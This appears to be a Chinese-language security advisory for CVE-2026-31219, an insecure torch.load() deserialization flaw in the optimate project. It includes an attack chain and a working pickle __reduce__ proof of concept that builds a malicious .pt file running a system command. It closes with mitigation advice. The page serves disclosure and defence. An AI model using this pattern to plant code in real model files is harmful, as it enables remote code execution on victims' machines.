CVE-2026-31219 CVSS 8.8 高危

CVE-2026-31219 Optimate不安全的反序列化漏洞

披露日期: 2026-05-12

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31219

漏洞类型

不安全的反序列化

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

optimate

漏洞概述

optimate项目中的neural_magic_training.py脚本存在不安全的反序列化漏洞。该脚本的_load_model()函数在使用torch.load()加载模型文件时，未设置weights_only=True安全参数。攻击者可诱导用户加载包含恶意Python对象的模型文件，从而在系统上执行任意代码。

技术细节

该漏洞发生在optimate项目的模型加载流程中。neural_magic_training.py中的_load_model()函数使用PyTorch的torch.load()方法来加载用户提供的.pt或.pth模型文件。默认情况下，torch.load()使用Python的pickle模块进行反序列化，而pickle是不安全的，允许在加载对象时执行任意代码。漏洞的根本原因在于开发者未指定weights_only=True参数，这使得攻击者能够构造包含恶意payload的模型文件。当受害者在命令行使用--model参数加载此文件时，恶意代码将被反序列化并执行，从而控制受害者系统。

攻击链分析

STEP 1

1. 构造恶意文件

攻击者创建一个包含恶意Python代码的特制模型文件（.pt或.pth），利用pickle序列化机制植入反弹Shell或系统命令。

STEP 2

2. 诱导加载

攻击者通过钓鱼、社会工程学或供应链污染等方式，诱导受害者使用optimate工具的--model参数加载该恶意文件。

STEP 3

3. 触发反序列化

当optimate执行_load_model()函数并调用torch.load()时，由于缺乏安全限制，系统会自动反序列化文件中的恶意对象。

STEP 4

4. 执行代码

反序列化过程中触发__reduce__方法，在受害者机器上以当前进程权限执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import os
import torch

# Define a malicious class that executes code upon deserialization
class Exploit:
    def __reduce__(self):
        # Execute arbitrary system command (e.g., calc.exe or touch)
        return (os.system, ('whoami',))

# Create the malicious model file
malicious_model = Exploit()

# Save the malicious object using torch.save (which uses pickle)
with open('malicious_model.pt', 'wb') as f:
    torch.save(malicious_model, f)

print("Malicious model file 'malicious_model.pt' generated.")
# Victim executes: python script.py --model malicious_model.pt

影响范围

optimate commit a6d302f912b481c94370811af6b11402f51d377f

防御指南

临时缓解措施

建议立即在调用torch.load()的代码中添加weights_only=True参数，仅反序列化模型张量数据，禁止加载任意Python对象，从而阻断代码执行路径。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表